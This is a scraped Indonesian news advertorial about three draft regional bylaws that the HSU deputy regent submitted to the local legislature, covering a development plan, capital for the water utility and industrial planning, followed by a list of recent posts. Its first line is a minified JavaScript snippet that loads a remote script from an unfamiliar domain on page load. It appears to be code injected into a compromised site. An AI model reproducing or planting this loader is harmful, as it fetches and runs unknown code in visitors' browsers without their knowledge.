(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Ini Tiga Raperda yang Diajukan Eksekutif ke DPRD HSU


AMUNTAI, Tiga 3 buah Rancangan Peraturan Daerah (Raperda) disampaikan Wakil Bupati HSU H Husairi Abdi Lc kepada DPRD Kabupaten HSU. Raperda tentang Rencana Pembangunan Jangka Menengah Kabupaten HSU 2017-2022, Raperda tentang Penyertaan Modal Daerah kepada PDAM Kabupaten HSU 2018-2019, Raperda tentang Rencana Pembanguan industri Kabupaten (RPIK) HSU.

Menurut Wakil Bupati HSU, ketiga buah Raperda tersebut yaitu Raperda tentang Rencana Pembangunan Jangka Menengah Kabupaten HSU 2017-2022, RPJMD merupakan penjabaran dari visi, misi, dan program kepala daerah yang memuat tujuan, sasaran, strategi arah kebijakan, pembangunan daerah dan keuangan daerah. Serta program perangkat daerah dan lintas perangkat desa yang disertai dengan kerangka pendanaan bersifat indikatif jangka waktu lima tahun, yang disusun berpedoman pada RPJPD, RTRW, dan RPJMN.

Raperda tentang Penyertaan Modal Daerah kepada PDAM Kabupaten HSU ulang tahun 2018-2019, Raperda ini diajukan untuk dengan memenuhi salah satu syarat mendapatkan dana hibah air minum dari pemerintah pusat.

“Dengan pernyataan modal yang kita lakukan, nantinya pemerintah pusat akan mengelontorkan dana hibah air minum kepada kita,” kata Wakil Bupati HSU.

Sementara itu, Raperda tentang Rencana Pembangunan Industri Kabupaten (RPIK) HSU diajukan didasari atas 2 aspek petimbangan yakni aspek sosiologis dan aspek yuridis.

“Raperda ini kami ajukan adalah dimaksudkan untuk menjamin kepastian berusaha, persaingan yang sehat, serta mencegah terjadinya pemusatan atau pengusaan industri oleh suatu kelompok,” katanya. Sedangkan dari aspek yuridis, Raperda disusun dalam rangka memenuhi amanat peraturan daerah perundang-undangan yang lebih tinggi yakni undang undang nomor 3 tahun 2014 tentang perindustrian dan PP nomor 14 tahun 2015 tentang rencana induk pembangunan industri nasional.(dewahyudi)

Reporter: dewahyudi
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.